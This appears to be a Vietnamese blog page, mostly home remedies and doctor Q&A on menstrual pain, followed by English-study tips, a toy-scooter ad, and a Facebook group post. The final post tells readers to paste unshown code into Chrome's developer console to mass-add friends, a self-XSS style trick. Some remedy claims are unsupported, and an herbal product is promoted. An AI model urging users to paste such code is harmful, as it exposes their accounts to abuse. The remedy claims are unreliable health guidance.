Đau bụng kinh - chữa bằng mẹo nhỏ từ thiên nhiên

Để giải quyết những hội chứng khó nói này, bạn có thể sử dụng những mẹo vô cùng đơn giản từ chính thiên nhiên.

Bụng đau quằn quại mỗi khi “đến tháng”, mỏi nhừ các cơ, lưng, vai, đôi lúc ói mửa những ngày “đèn đỏ”…, tất cả là triệu chứng của bệnh đau bụng kinh. Để giải quyết những hội chứng khó nói này, bạn có thể sử dụng những mẹo vô cùng đơn giản từ chính thiên nhiên xung quanh:

1. Gừng

Gừng là loại gia vị cực kỳ hiệu quả để xử lý rối loạn kinh nguyệt ngay ở nhà bạn, nhất là khi bị đau bụng kinh hoặc tắc kinh. Một miếng gừng tươi giã ra và đun cùng nước sôi trong vài phút, thêm 1 chút đường hoặc mật ong, vậy là bạn đã có một vị thuốc hữu hiệu để trị chứng đau bụng khó chịu. Một ngày chỉ cần dùng sau các bữa ăn, hiệu quả của miếng gừng nhỏ sẽ khiến bạn bất ngờ. Lưu ý, phụ nữ sau sinh nên dùng mật ong đã qua xử lý, không nên dùng mật ong tươi, dễ gây nhiễm khuẩn cho bé.

2. Sữa pha bột quế

Một cốc sữa ấm pha với nửa thìa bột quế giúp giảm đau bụng, đau cơ, nhức toàn thân trong mỗi kỳ kinh nguyệt. Ngoài ra, lá tre cũng có thể điều hòa kinh nguyệt một cách tự nhiên. Bạn cũng có thể sử dụng sữa bò pha với bột hạt củ cải để giúp kinh nguyệt đến đều đặn.

3. Vừng, đu đủ, hoa chuối và đồ ăn cay

Pha nước ấm cùng bột vừng, ăn đu đủ xanh và đồ ăn cay sẽ giúp giảm đau và duy trì chu kỳ kinh nguyệt đều đặn. Những món ăn này cũng giúp phái nữ giảm căng thẳng mệt mỏi trong những ngày đèn đỏ.

Hoa chuối là phương pháp hiệu quả nhất cho bạn gái có kinh nguyệt quá nhiều. Nấu 1 bắp hoa chuối, ăn kèm sữa hoặc pho mát, món ăn này sẽ giúp tăng lượng progesterone và giảm lượng máu kinh.

4. Các thảo dược thiên nhiên

Ngải cứu, đương quy, xuyên khung, ô dược, hương phụ, trần bì, ích mẫu… là những thảo dược rất hiệu quả để điều hòa kinh nguyệt, giảm đau bụng kinh. Bên cạnh việc sắc thuốc, chị em có thể sử dụng các sản phẩm được tổng hợp từ thiên nhiên như Khang Nữ Đan, tạo hiệu quả rõ ràng chỉ trong 3 tháng.

Khang Nữ Đan – Một trong những sản phẩm thảo dược chữa đau bụng kinh được tin dùng

5. Những phương pháp khác

Cần luôn luôn giữ ấm. Bạn có thể mặc quần áo ấm hoặc mát xa vùng lưng và bụng dưới, chườm nóng bằng nước ấm hoặc túi chườm, chai nước, khăn ấm. Phương pháp này sẽ giúp giảm đau.

Bạn cũng có thể dùng nước mùi (ngò) tây, xay cùng các loại sinh tố hoa quả khác. Pha 75ml nước mùi tây với cà rốt hoặc dưa chuột và dùng 2 tiếng/ lần, bạn sẽ thấy hiệu quả rõ rệt trong việc giảm đau và duy trì kinh nguyệt đều đặn.

Lưu ý: không dùng các phương pháp trên nếu bạn bị dị ứng

Cách massage giúp đẩy lùi cơn đau bụng trong kì kinh nguyệt

Massage là một trong những cách tuyệt vời giúp làm giảm các cơn đau bụng trong kì kinh nguyệt rất hiệu quả.

Rất nhiều chị em gặp phải những rắc rối trước và trong kì kinh nguyệt. Hội chứng thường thấy và phổ biến trong chu kỳ kinh nguyệt của chị em là đau bụng. Đau bụng trong kì kinh nguyệt thường là do các mảng nội mạc tử cung bong ra và bị ứ đọng, không đẩy ra ngoài được nên gây khó chịu, đau bụng.

Nếu tình trạng đau bụng thường xuyên và kéo dài, bạn nên đi khám phụ khoa và tư vấn để có được những kết quả chính xác nhất. Vì rất có thể triệu chứng đau bụng khi có kinh nguyệt lại là dấu hiệu thông báo các bệnh khác như u nang buồng trứng, tắc nghẽn vòi trứng…

Ngoài ra, chế độ dinh dưỡng, nghỉ ngơi, tinh thần, tâm lý  cũng có tác động đến cơ địa của chị em. Vì vậy, chị em cần giữ cho tinh thần mình thoải mái và bổ sung đầy đủ chất dinh dưỡng để tăng cường sức khỏe trong những ngày này.  giữ sức khỏe, ảnh hưởng trực tiếp đến hiện tượng đau bụng trong kì kinh nguyệt, chỉ cần chị em chú ý chế độ ăn chín, uống ấm, tinh thần thoải mái thì có thể hạn chế được tình trạng đau bụng. Vệ sinh sạch sẽ "vùng kín" vào những ngày có kinh nguyệt là rất cần thiết vì nó cũng góp phần giúp chị em giảm đau bụng.

Tắm nóng hay chườm nóng (ở bụng hay ở lưng) là một trong những cách giúp giảm bớt sự co bóp cơ để giảm thiểu các cơn đau bụng. Ngoài ra, bạn có thể dùng biện pháp massage để cảm thấy dễ chịu hơn trong những ngày này.

Nếu bạn chưa biết cách massage, hãy thực hành theo các bước sau đây:

Xem Video hướng dẫn tại đây:

Bước 1: Làm cho mình thoải mái

Bạn có thể làm những kỹ thuật này tại bất kì đâu nhưng sẽ hiệu quả hơn nhiều nếu bạn thực hiện trong lúc cơ thể bình tĩnh và thư giãn. Cố gắng tìm một nơi yên tĩnh và ngồi thoải mái. Đặt tay trên bụng và thực hiện một vài nhịp thở sâu cho tới khi cảm thấy bàn tay của bạn được đẩy lên với mỗi hít vào, và hạ xuống khi bạn thở ra.

Bước 2: Xoa bóp dạ dày

Đặt bàn tay trên rốn, bắt đầu xoa thành vòng tròn nhỏ theo chiều kim đồng hồ. Điều này nên được thực hiện từ từ với áp lực vừa phải trong khoảng một phút, sau đó dần dần tăng kích thước của các vòng cho đến khi bạn cọ xát toàn bộ vùng bụng.

Bây giờ đặt tay ở hai bên rốn, chỉ chạm bằng các ngón tay và ngón tay trỏ ở phía trên. , dùng hai ngón trỏ vẽ một "trái tim" bằng cách kéo lên phía rốn, sau đó di chuyển theo chiều rộng bàn tay sang hai bên và cuối cùng xuống một lần nữa đưa các ngón tay lại với nhau. Lặp lại điều này trong khoảng 1phút.

Bước 3: Massage lại

Tiếp theo, đưa tay vòng ra sau ngay dưới xương sườn với các ngón tay ở hai bên cột sống. Với áp suất ổn định, trượt tay xuống chầm chậm về phía trên cùng của hông. Khi đến hông, sử dụng các ngón tay để xoa thành vòng tròn nhỏ dọc theo thắt lưng, bắt đầu từ trung tâm ra ngoài. Đưa tay trở lại dưới xương sườn và lặp lại chu kỳ này 3 lần.

Đưa tay trở lại trung tâm và chuyển các ngón tay xuống. Để cho các tay trượt xuống để các ngón tay vào giữa xương cùng, hoặc xương cụt. Một lần nữa làm thành vòng tròn nhỏ với các đầu ngón tay và sử dụng áp lực vừa phải. Tiếp tục thực hiện trong khoảng 1 phút.

Bước 4: Tạo áp lực

Ngồi thoải mái, vắt một chân lên trên chân kia, tay đối diện đặt ở mắt cá chân phía trên. Đưa tay lên quá mắt cá chân, giữ ngón cái ở phía trên, các ngón còn lại xuống phía dưới. Ấn nhẹ ngón tay cái trong 30 giây. Thả lỏng một chút rồi lặp lại. Làm 3 lần như vậy.

Đặt 2 chân trên sàn nhà với 2 tay ở trên đùi. Đặt nhẹ các ngón tay giữa trên đỉnh đầu gối, các ngón tay cái ở phía trong hai bên trên, ngay phía trên đầu gối. Dùng ngón cái ấn vào. Giữ trong 30 giây thì thả ra. Lặp lại 3 lần.

Đặt 1 bàn tay ngay dưới rốn, các ngón tay hướng về phía cột sống. Từ từ ấn các đầu ngón tay. Giữ trong 30 giây thì thả ra.

Cách làm giảm đau bụng kinh hiệu quả

Giảm đau bụng kinh hiệu quả và đơn giản là điều mong muốn của các chị em khi bị đau bụng kinh. Giảm đau bụng kinh hiệu quả thì chị em chỉ cần tránh tiếp xúc lạnh trong những ngày này.

Chào bác sĩ phòng khám thiên tâm, cháu năm nay 24 tuổi, cháu chưa có gia đình. Hiện tại cháu đang rất khổ tâm khi đến ngày đèn đỏ, cứ mỗi khi đến ngày đèn đỏ là cháu lại bị đau bụng dữ dội, kèm theo đó là cảm giác người buồn nôn, chóng mặt, mệt lả đi. Cháu phải làm gì để giảm đau bụng khi đến ngày đèn đỏ ạ. Cháu xin cảm ơn. (Hà, 24 tuổi, Từ Liêm, Hà Nội)

Bác sĩ phụ khoa tư vấn

Chào bạn Hà.

Trước hết, Phòng Khám Đa Khoa Thiên Tâm chúng tôi xin cảm ơn bạn đã tin tưởng và gửi câu hỏi đến cho chúng tôi. Dưới đây là tư vấn những cách để giảm đau bụng kinh hiệu quả và đơn giản, hy vọng sẽ có ích với bạn.

Đau bụng kinh là gì?

Khái niệm đau bụng hành kinh có liên quan mật thiết với tình trạng kinh nguyệt không đều, nó được dùng để chỉ một loạt triệu chứng của phụ nữ trước, sau hoặc đang trong kỳ kinh nguyệt bao gồm đau bụng dưới (có khi đau quằn quại và kéo dài), đau thắt lưng, bụng có cảm giác đầy hơi, hậu môn có những biểu hiện khó chịu như buồn đi ngoài...

Những lưu ý khi bị đau bụng kinh

• Chế độ vận động, nghỉ ngơi

• Chế độ ăn uống

• Tránh tiếp xúc lạnh trong những ngày “đèn đỏ”

Mẹo làm giảm đau bụng kinh

• Chườm ấm vào bụng giúp giảm đau bụng.

• Luyện tập thể thao nhẹ nhàng nâng cao sức khỏe thể trạng bản thân.

• Không ăn đồ ăn lạnh vào những ngày gần kinh nguyệt và khi bị kinh nguyệt.

• Uống nhiều nước: 2.5 lít nước/ngày, nên uống nước ấm tránh uống lạnh vào những ngày “đèn đỏ”.

• Tránh rượu bia và các chất kích thích.

• Giảm đau bằng thuốc aspirin hoặc các thuốc giảm đau khác.

Giảm đau bụng kinh theo cách tự nhiên

• Uống nước lô hội và mật ong trong những ngày có đau bụng kinh

• Chườm nóng bụng bằng gạc

• Uống nước bạc hà và gừng

• Uống nước dứa hoặc nước ép cà rốt

• Tập Yoga: Sử dụng tư thế con lạc đà và hoa sen sẽ giúp giảm đau bụng khi đến ngày.

• Tắm nước hương liệu.

Trên đây là một số mẹo giảm đau bụng kinh đơn giản và hiệu quả, bên cạnh đó bạn chỉ cần lưu ý đến những vấn đề mà chúng tôi đã đề cập ở trên. Nó có thể làm giảm đau bụng kinh nhanh chóng.

Cách chữa đau bụng kinh hiệu quả

Em 21 tuổi, chu kỳ kinh nguyệt không đều nhưng tháng nào cũng có. Cứ trước ngày ra kinh một hôm là em đau bụng dữ dội.

Em đau đến nỗi không muốn làm gì, chỉ muốn nằm thôi. Sau khi kinh ra được một ngày thì em đỡ đau hơn. Xin bác sĩ tư vấn em bị làm sao và có loại thuốc nào để chữa. Em cám ơn. (Khanh)

Trả lời

Khanh thân mến,

Trước tiên tôi muốn nói với em rằng đau bụng trước khi hành kinh là vấn đề khá phổ biến đối với phụ nữ trẻ chưa có gia đình, vì vậy em không nên quá lo lắng. Để chữa chứng đau bụng kinh, có mấy cách sau:

1. Ngay tại chỗ, em có thể dùng bình chườm, chai đựng nước nóng đặt vào vùng bụng dưới (nhớ là đừng để bị bỏng nhé);

2. Em có thể dùng những loại thuốc giảm đau thông thường như paracetamol hay Ibuprofen (thuốc hay dùng khi đau đầu, cảm cúm) cũng rất hiệu quả;

3. Lâu dài hơn, em có thể dùng các loại thuốc đông y như Cao Ích Mẫu hay Hoàn Điều Kinh Bổ Huyết;

4. Điều trị đau bụng kinh bằng châm cứu cũng rất hữu hiệu;

5. Em nên chọn một môn thể dục phù hợp và luyện tập hàng ngày, đây là phương pháp lâu dài và rất hiệu quả em ạ.

Ngoài ra tôi cũng muốn nhắn nhủ em thêm một điều: Nếu em đã có quan hệ tình dục thì biện pháp tránh thai mà em nên sử dụng là viên uống tránh thai phối hợp, bởi loại thuốc tránh thai này có tác dụng điều hòa kinh nguyệt và làm giảm chứng đau bụng kinh.

Chúc em sớm khỏi chứng đau bụng kinh và tự tin nhé!

Thạc sĩ, bác sĩ Phan Bích Thủy

Cứu nguy cô nàng bị chứng đau bụng kinh "ám ảnh"

Nhiều bạn gái thường có cảm giác đau bụng kinh dữ dội, kèm theo đó là cảm giác người buồn nôn, chóng mặt, mệt lả đi.

Thưa bác sĩ Mèo, em có vô tình đọc được trên mạng tên vài loại thuốc chữa đau bụng kinh như: mefenamic acid, ibuprofen, naproxen... Lúc trước, em có dùng thuốc cataflam nhưng một lần đi khám phụ khoa bác sĩ điều trị khuyên em không nên dùng cataflam nữa nếu không muốn bị đau bao tử. Mỗi lần tới tháng em đều bị đau bụng nên đôi khi phải dùng thuốc. Bác sĩ có thể cho em biết loại thuốc nào có ít tác dụng phụ nhất và không ảnh hưởng nhiều đến sức khỏe sinh sản không ạ? Em có thể dùng loại nào nếu bị đau?(Em đã dùng các biện pháp như chườm nước ấm, điều trị bằng cách ăn uống nhưng vẫn không có tác dụng). Em xin cám ơn! (dieptuy...@gmail.com)

Trả lời: 

Chào em,

Trong những ngày có kinh nguyệt, nhiều bạn gái thường có cảm giác đau bụng dữ dội, kèm theo đó là cảm giác người buồn nôn, chóng mặt, mệt lả đi. Theo các nhà khoa học, các triệu chứng đó do nguyên nhân là các rối loạn hóa học trong cơ thể. Để giảm cơn đau trong kỳ kinh, em nên chú ý một số điều sau:

Chế độ vận động, nghỉ ngơi

Không được vận động quá mức: Trong khi có kinh và một ngày trước, sau kỳ kinh, các bạn gái không nên luyện tập thể thao hoặc lao động nặng, chỉ nên đi bộ và vận động nhẹ nhàng để tăng cường sức khỏe và sự dẻo dai của cơ thể. Tránh xúc động trong những ngày có kinh: Khi có kinh nên giữ cho tâm hồn mình được thư thái, thoải mái, giảm bớt căng thẳng, hạn chế stress sẽ góp phần làm dịu cơn đau..

Chế độ ăn uống

Nên ăn đủ chất nhưng hạn chế ăn thức ăn có đồ cay, nóng gây táo bón dễ làm đau bụng kinh nặng thêm. Nên uống nước chanh nóng, dùng các loại vitamin hỗn hợp và chất khoáng có chứa canxi. Không nên ăn những thức ăn chế biến tinh mà cần ăn nhiều rau, trái cây, cá và hạn chế các loại thực phẩm ngọt, mặn. Không ăn những thứ có tác dụng giữ nước như giấm, táo, ngó sen,…Không uống cà phê, chè, nước ngọt có ga vì có chất cafein có thể gây khó chịu, bồn chồn trong kỳ kinh nguyệt.

Tránh tiếp xúc lạnh trong những ngày “đèn đỏ”

Cần giữ ấm cơ thể trước, trong và sau khi hành kinh. Về mùa thu – đông – xuân, bạn gái không nên bơi lội, tắm rửa bằng nước lạnh, uống nước lạnh, làm việc nơi đồng sâu bởi khi bị kích thích tử cung sẽ co bóp mạnh, gây đau. Trong những ngày này, nên tắm nước ấm nóng và cho thêm một chút muối vào chậu nước tắm. Khi trời lạnh nên sưởi ấm khi có kinh, vì hơi ấm làm máu dễ lưu thông và tạo cho cơ bắp thư giãn, nhất là vùng xương chậu thường bị co cứng và sưng huyết trong những ngày này.

Cách giảm đau bụng kinh nguyệt

Nên chườm bụng bằng chai hoặc túi nước nóng (chú ý tránh nóng quá sẽ gây bỏng). Massage bàn chân cho bớt đau vì bàn chân có những huyệt đạo liên quan tới vùng chậu, đồng thời em có thể ngâm chân trong nước ấm pha muối cho thư giãn.Giã hoặc xắt lát gừng, chườm vào phần bụng dưới 5-7 phút, sức nóng của gừng sẽ giúp làm dịu cơn đau. Dán cao hoặc xoa dầu nóng sưởi ấm vùng bụng giúp máu lưu thông dễ dàng. Massage nhẹ và thường xuyên phần bụng dưới khi đang có kinh giúp cơ bụng không bị co thắt quá đột ngột và giảm đau thật hiệu quả. Uống vitamin E 2 ngày trước khi có kinh và tiếp tục đến ngày thứ 3 của chu kỳ. Trường hợp đau nhiều quá có thể uống thuốc giảm đau.

Để chọn được loại thuốc giảm đau phù hợp với cơ thể em cần đi khám và hỏi bác sỹ để nhận được sự tư vấn chính xác nhất. Em không nên tự ý uống bất cứ loại thuốc nào mà chưa có chỉ dẫn của bác sỹ chuyên khoa. Em cũng không nên lạm dụng thuốc giảm đau bởi có thể có tác dụng phụ và gây ra hiệu ứng nhờn thuốc.

Để phòng tránh những cơn đau trong kỳ kinh, em nên có một chế độ ăn uống và tập luyện thể dục thể thao lành mạnh. Một cơ thể khỏe mạnh và dẻo dai sẽ giúp giảm bớt những cơn đau khi kỳ kinh tới.

Chúc em luôn khỏe mạnh!

Tổng hợp các bí quyết giảm đau bụng kinh

Phụ nữ thường băn khoăn không biết đau bụng kinh cần đi khám và chữa trị hay không. Lại có không ít chị em âm thầm chịu đựng, hy vọng sau khi sinh con sẽ hết.

Đau bụng kinh là trường hợp thường gặp ở những bạn nữ. Khi đến chu kỳ kinh nguyệt hàng tháng, chị em phải đối mặt với không những là triệu chứng đau lưng, đau tuyến vú mà còn phải đối mặt với những cơn đau bụng giữ dội, thậm chí có người đã phải nhập viện.

Nguyên nhân đau bụng kinh

Nguyên nhân chính gây đau bụng kinh là do sự giải phóng hoóc môn prostaglandin. Loại hoóc môn đặc biệt này khiến co bóp cổ tử cung trong suốt chu kì, đó cũng là lý do vì sao đôi lúc cơn đau bụng kinh đôi lúc có những đặc điểm tương đồng với cơn chuột rút. Không những vậy, prostaglandin còn khiến các mạch máu cung cấp máu cho cổ tử cung co bóp, dẫn đến cơn đau. Những bạn gái đau bụng kinh dữ dội có lượng hoóc môn prostaglandin tiết ra nhiều hơn bình thường, khiến cổ tử cung và các mạch máu co bóp mạnh hơn.

Đau bụng kinh được chia làm 2 loại, đau bụng nguyên phát và thứ phát. Đau bụng kinh nguyên phát thường chỉ do hoóc môn, không có nguyên nhân đặc biệt. Đau bụng kinh thứ phát có thể do các bệnh lý phụ khoa như u xơ tử cung hay nhiễm trung vùng hậu. Ngoài ra những tác động tâm lý như một số chị em quá mẫn cảm với cảm giác đau, vận động quá mạnh hoặc bị lạnh, hoặc do cổ tử cung cấu tạo quá hẹp.

Biểu hiện của đau bụng kinh?

Đau bụng kinh khiến bạn cảm thấy bụng đau từ âm ỉ đến dữ dội, sau đó cơn đau này lan tỏa dần đến các vùng xung quanh như đùi, lưng. Chướng bụng, buồn nôn, bị tiêu chảy hoặc ói mửa. Ra nhiều mồ hôi.

Một số mẹo chữa đau bụng kinh:

1. Chườm nước ấm

Với những bạn gái chỉ đau bụng nhẹ âm ỉ, một chai nước ấm chườm ở vùng bụng dưới hoặc ngâm mình trong nước nóng. Cơn đau bụng sẽ không kéo dài, nhưng bạn cũng cần cẩn thận không dùng nước quá nóng có thể gây bỏng. Tắm nước nóng bằng vòi hoa sen cũng là một giải pháp tốt. Các bạn cũng nên chú ý uống nhiều nước, đặc biệt là nước ấm cũng sẽ giúp làm dịu cơn đau.

2. Đắp gừng tươi

Gừng giã hoặc xắt lát, chườm vào phần bụng dưới khoảng 5-7 phút sẽ giúp bạn giảm những cơn đau bụng kinh.

3. Dán cao hoặc xoa dầu

Một số bạn gái thường xoa dầu nóng hoặc dán cao vào phần bụng dưới để giảm đau vì không có thời gian thực hiện hai phương háp trên.

4. Massage nhẹ

Nên massage nhẹ nhàng và thường xuyên phần bụng dưới khi đang hành kinh. Việc này sẽ giúp cơ bụng không bị co thắt quá đột ngột và sẽ giảm đau thật hiệu quả.

5. Sữa hoặc sữa chua

Sữa hoặc sữa chua có thể giúp chị em giảm đau bụng kinh. Một nghiên cứu cho thấy những phụ nữ bổ sung 1200mg canxi mỗi ngày sẽ giúp giảm 30% nguy cơ đau bụng kinh so với những người chỉ bổ sung 500 mg canxi mỗi ngày.

6. Vệ sinh vùng kín sạch sẽ

Vệ sinh sạch sẽ vùng kín vào những ngày này là rất cần thiết, tránh làm việc nặng, làm việc quá sức, không nên sinh hoạt tình dục trong những ngày này cũng giúp bạn giảm đau bụng kinh.

7. Giữ ấm cho cơ thể

Trong thời kỳ kinh nguyệt cần giữ cho cơ thể ấm áp, bao gồm việc mặc quần áo ấm (trong mùa lạnh), tránh mưa, không rửa nước lạnh, không ngồi trên nền đất lạnh, ẩm ướt. Đau bụng kinh nhẹ có thể uống nhiều nước nóng, chườm bụng bằng túi chườm hay chai nước nóng cũng giúp thư giãn các cơ, giảm đau bụng hiệu quả

8. Tắm muối khoáng

Thêm 1 chén muối và 1 chén bicarbonate natri trong bồn tắm. Tắm bằng nước ấm trong khoảng 20 phút giúp thư giãn cơ bắp và giảm đau bụng kinh hiệu quả.

9. Tập thể dục

Bạn không muốn đến các phòng tập thể dục trong kỳ "nguyệt san". Tuy nhiên trên thực tế, một số bài tập nhẹ nhàng có thể giúp đỡ bạn rất nhiều trong việc làm giảm đau bụng kinh.

Bạn có thể đi bộ nhanh hoặc đạp xe đạp trong những ngày này, vừa là để hít thở không khí trong lành, vừa giúp thư giãn các cơ, thoái mái tinh thần và giảm khó chịu trong những ngày "đến tháng".

10. Ngủ nhiều hơn

Đau bụng kinh và sự khó chịu xung quanh chu kỳ kinh nguyệt là những điều thường xuất hiện trong kì kinh nguyệt khiến chị em mệt mỏi. Để giảm những khó chịu này, hãy tranh thủ ngủ và nghỉ ngơi. Hãy thử thay đổi tư thế ngủ mỗi nửa giờ để các vùng trên cơ thể như: thắt lưng, bụng và dạ dày được thư giãn tốt. Như thế bạn sẽ thoải mái hơn rất nhiều trong kỳ đèn đỏ của mình.

11. Dùng vitamin E

Uống vitamin E 2 ngày trước khi có kinh và tiếp tục đến ngày thứ 3 của chu kỳ sẽ giúp bạn giảm đau hiệu quả.

12. Tập yoga

Yoga cũng đóng vai trò hiệu quả trong giảm đau bụng kinh, chẳng hạn như quỳ xuống, uốn cong đầu gối và ngồi trên gót chân. Cúi thấp người xuống, dần dần cho đến khi trán chạm đất, cánh tay kéo dài theo cơ thể. Duy trì vị trí này cho đến khi bạn cảm thấy thoải mái.

13. Chú ý chế độ ăn uống từ 3 đến 5 ngày trước kỳ kinh nguyệt

Trước khi đến kỳ kinh nguyệt từ 3 – 5 ngày bạn nên ăn những thức ăn dễ tiêu hóa và hấp thu. Tránh thực phẩm tươi sống, thực phẩm nhiều gia vị hay những thực phẩm lạnh có thể kích thích tử cung, ống dẫn trứng hoặc làm trầm trọng thêm cơn đau bụng.

14. Nên ăn thực phẩm chua

Những thực phẩm có hương vị chua như bắp cải muối, salad, nộm, canh chua... là những thực phẩm viện trợ tốt trong việc giảm cơn đau do kinh nguyệt.

15. Thường xuyên tiêu thụ trái cây và rau củ

Thường xuyên tiêu thụ một số loại trái cây và rau quả giúp lưu thông máu và khí huyết trong cơ thể. Giữ chế độ ăn uống cân bằng giữa thức ăn mặn và ngọt vì chúng có thể gây đầy hơi. Nếu được hãy ăn thành nhiều bữa cho dễ tiêu hóa.

16. Tăng cường các bài tập thể dục thể chất phù hợp

Tránh lao động nặng nhọc và tăng cường các bài tập tập thể dục phù hợp có thể giúp làm giảm bớt triệu chứng của đau bụng kinh.

17. Bổ sung vitamin

Nhiều bệnh nhân chú ý tới sự tiêu thụ vitamin hàng ngày thấy ít bị đau hơn khi tới kỳ kinh nguyệt. Do đó khuyến cáo họ nên dùng vitamin tổng hợp liều thấp để làm giảm các cơn đau khó chịu.

18. Bổ sung các khoáng chất

Bổ sung các khoáng chất như canxi, kali và magiê khoáng sản cũng có thể giúp giảm đau bụng kinh. Magnesium cũng rất quan trọng, bởi vì nó giúp cơ thể hấp thụ canxi. Bạn nên tăng cường lượng canxi và magie trong giai đoạn trước và trong khi kinh nguyệt.

19. Tránh thực phẩm có chứa caffeine

Ăn thực phẩm có chứa caffeine như cà phê, sô cô la, trà sẽ làm cho bạn lo lắng, có thể đã góp phần gây ra sự khó chịu trong thời kỳ kinh nguyệt. Cà phê có chứa dầu dễ kích thích ruột non. Nếu trong thời kỳ hành kinh bạn còn dễ bị phù nề thì nên tuyệt đối tránh rượu vì có thể làm trầm trọng thêm vấn đề này.

20. Không sử dụng thuốc lợi tiểu

Nhiều phụ nữ tin rằng thuốc lợi tiểu có thể làm giảm sưng và khó chịu kinh nguyệt, nhưng trong thực tế, thuốc lợi tiểu lại góp phần loại bỏ khoáng chất cùng với nước trong cơ thể, do đó khiến các triệu chứng nặng hơn như đã giải thích ở trên.

Ngoài ra, để giảm bớt hiện tượng đau bụng kinh ngày đèn đỏ các bạn gái nên ăn uống đủ chất trong thực đơn hằng ngày. Vào những ngày đèn đỏ, nên nghỉ ngơi và vận động thật nhẹ nhàng. 

Nên kiêng các chất kích thích như café, trà, rượu và một số gia vị cay... Tránh để cơ thể bị lạnh, ướt trong thời kì kinh nguyệt. Lưu ý thêm, vào những ngày đầu của chu kỳ kinh nguyệt, nên ăn các thức ăn dễ tiêu hóa vì lúc này dạ dày thường có hiện tượng trương hơi, gây khó chịu cho người phụ nữ.

Không nên coi thường khi đau bụng kinh

Cảm giác đau ở bụng dưới, thường đau nhẹ và có thể kéo dài vài giờ. Sau khi uống thuốc giảm đau là bạn có thể hoạt động bình thường. Nhưng nếu bạn bị đau bụng ghê gớm và bị chảy máu hững cơn đau này là mạn tính, có thể bạn đang mắc bệnh gì đó nghiêm trọng hơn.

Theo BS Lê Thị Kim Dung, Trung tâm y tế lao động Thái Hà (Hà Nội), đau bụng kinh hay còn gọi là thống kinh là tình trạng đau vùng hạ vị, xuất hiện trước, trong hoặc sau khi hành kinh. 

Thường phụ nữ từ 14 tuổi đến 49 tuổi sẽ thấy kinh mỗi tháng một lần, mỗi lần 3-5 ngày. Đây là hiện tượng bình thường ở chị em phụ nữ mỗi khi đến kỳ kinh nguyệt. Tuy nhiên mức độ đau ở mỗi người khác nhau, có người chỉ hơi nhâm nhẩm đau, cũng có người đau dữ dội. Bác sĩ Dung cũng khuyến cáo, đau bụng kinh có thể là dấu hiệu của bệnh lạc nội mạc tử cung, nghĩa là lớp niêm mạc không nằm trong tử cung mà di cư đến những chỗ khác như: bụng, bàng quang thậm chí là buồng trứng... Bệnh không quá nguy hiểm nhưng có thể dẫn đến vô sinh.

Trong số các phụ nữ bị vô sinh, có tới 30-50% có tổn thương lạc nội mạc tử cung. Chẳng hạn, niêm mạc có thể nằm ở vòi trứng dẫn đến tắc vòi trứng. Ngoài ra, khi nội mạc tử cung chảy máu, các mảnh lạc này cũng chảy máu mà không có đường thoát ra, dễ bị viêm nhiễm và gây dính, tắc vòi trứng...

Ngoài ra, đây có thể là dấu hiệu của chửa ngoài tử cung. Chị em bị chảy máu, đau bụng nhưng vì nó rơi đúng vào chu kỳ kinh nguyệt, nên cứ nghĩ đây chỉ là biểu hiện bình thường. Điều này rất nguy hiểm vì nếu điều trị muộn, thai bị vỡ, chảy máu nhiều có thể dẫn đến biến chứng vô sinh, thậm chí là tử vong, bác sĩ Dung cho biết.

Vì thế, chị em khi thấy đau bụng kinh quá, kéo dài không chịu được nên đi khám bác sĩ phụ khoa để xác định rõ nguyên nhân và có biện pháp điều trị phù hợp.

7 quy tắc học tiếng Anh để nói được lưu loát hiệu quả nhất

Mỗi người có những phương pháp học ngoại ngữ khác nhau. Mỗi phương pháp có thể thuận lợi đối với người này, nhưng lại không phù hợp đối với người kia. Nếu bạn vẫn còn đang tìm kiếm một phương pháp học tiếng Anh phù hợp, hãy tham khảo 7 quy tắc học tiếng Anh dưới đây của A.J. Hoge biết đâu bạn sẽ tìm thấy những lời khuyên cần thiết cho bản thân.

1: Không học các từ Tiếng Anh riêng lẻ

2: Không học ngữ pháp

3: Quy tắc quan trọng nhất – Học bằng tai, không phải bằng mắt. Nghe thật nhiều

4: Học chậm mà chắc

5: Hãy sử dụng các câu chuyện ngắn

6: Chỉ sử dụng Tiếng Anh hội thoại và tài liệu thực thụ

7: Nghe và Trả lời, không phải Nghe và Nhắc lại

Xe Scooter Ếch - món quà Trung thu ý nghĩa dành cho bé yêu

SOOTER ẾCH - Đồ chơi vận động, Rèn luyện sức khỏe dành cho bé yêu.

Giá: 590.000 đ/chiếc

LH: 0913 107 106 (Thành)

Món quà Trung thu tuyệt vời cho các bé.

Cuộc sống hiện đại khiến con trẻ của chúng ta phụ thuộc quá nhiều vào các thiết bị điện tử như Tivi, điện thoại, máy tính...các con trở nên lười vận động hơn, ít giao tiếp hơn. Và hệ lụy của việc trẻ ít vận động là không thể lường hết.

Chung quy cũng bởi các con không có nhiều lựa chọn để vui chơi, không có hứng thú với những món đồ chơi kém hấp dẫn.

SCOOTER ẾCH chính là giải pháp số 1 để các bé vừa thích thú vui chơi vừa rèn luyện sức khỏe.

- Thiết kế độc đáo khiến trẻ chơi hoài không chán.

- Kết cấu 4 bánh, khung thép chắc chắn, có phanh chân, SCOOTER ẾCH tuyệt đối an toàn cho các con thỏa sức tung hoành ^^

Video hướng dẫn bé chơi SCOOTER ẾCH:

Xem thêm thông tin tại FB CHO CON VUI KHỎE:https://www.facebook.com/pages/Cho-Con-Vui-Khỏe/579800425464483

Còn chần chừ gì nữa, hãy gọi ngay cho chúng tôi để sở hữu món đồ chơi tuyệt vời này cho con yêu của bạn đi nào.

0913 107 106 - Bốc điện thoại lên và Gọi ^^.

Tự động thêm bạn bè vào nhóm Facebook mới nhất 2014

Để có thể giới thiệu được những sản phẩm vừa chất lượng vừa giá rẻ đến thật nhiều nhiều người, các bạn hãy đăng tin sản phẩm lên Mua Bán 365, nhóm mua bán trực tuyến tự do và sôi động bậc nhất hiện nay.

Các bạn hãy thêm những bạn bè thân thiết của chính mình vào nhóm để họ có thể tiếp cận với những sản phẩm, dịch vụ tốt nhất với mức giá thấp nhất.

Chúng tôi xin hướng dẫn bạn các bước TỰ ĐỘNG THÊM BẠN VÀO NHÓM như sau:

* Lưu ý: Để thực hiện thành công các bạn hãy thao tác trên trình duyệt Chrome và thực hiện từng bước 1 cách chính xác nhé.

Bước 1: Copy chính xác toàn bộ phần code được BÔI ĐỎ ở cuối bài viết này (kéo xuống)

Bước 2: Truy cập Mua Bán 365 theo địa chỉ: https://www.facebook.com/groups/muaban365onlineshopping/

Bước 3: Từ bàn phím máy tính các bạn nhấn tổ hợp 3 phím Ctrl + Shift + J

Màn hình sẽ hiện ra như sau:

Các bạn chỉ cần nhấn Ctrl + V để dán code đã copy ở Bước 1 vào đây và nhấn Enter là xong.

